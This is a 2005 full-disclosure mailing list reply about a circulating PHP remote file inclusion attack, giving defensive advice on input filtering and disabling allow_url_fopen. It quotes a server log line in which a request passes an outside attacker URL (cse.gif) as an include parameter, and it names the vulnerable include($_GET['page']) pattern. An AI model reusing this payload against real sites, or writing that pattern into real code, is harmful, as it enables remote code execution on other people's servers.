full-disclosure - PHP Command/Safemode Exploit

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Message-ID: <42EA997C.3080504@hardened-php.net>
Date: Fri Jul 29 22:03:12 2005
From: christopher.kunz at hardened-php.net (Christopher Kunz)
Subject: PHP Command/Safemode Exploit

Willem Koenings wrote:
> hi,
> 
> looks like CSE exploit is circulating again...
> found several queries today from server log
> anyone confirms?
> 
> "GET /index.php?page=http://213.202.214.198/cse.gif? HTTP/1.1" 404
> 1035 "-" "Python-urllib/2.4"

Can't see anything new in there. The usual PHP exploit suite, which is very 
script kiddie compatible, but where do you suspect a new exploit? AFAICT, this 
is targetted to sites using stuff like

include($_GET['page'])

as their action dispatch inside the script.

If you filter user input correctly, there's absolutely nothing to worry. You 
might, however, want to check out the Hardening Patch for PHP 
(http://www.hardened-php.net/, shameless plug) which permits include() for any 
URL, or disable allow_url_fopen in php.ini.

Regards,

--ck

PS: The site with cse.gif on it is down now.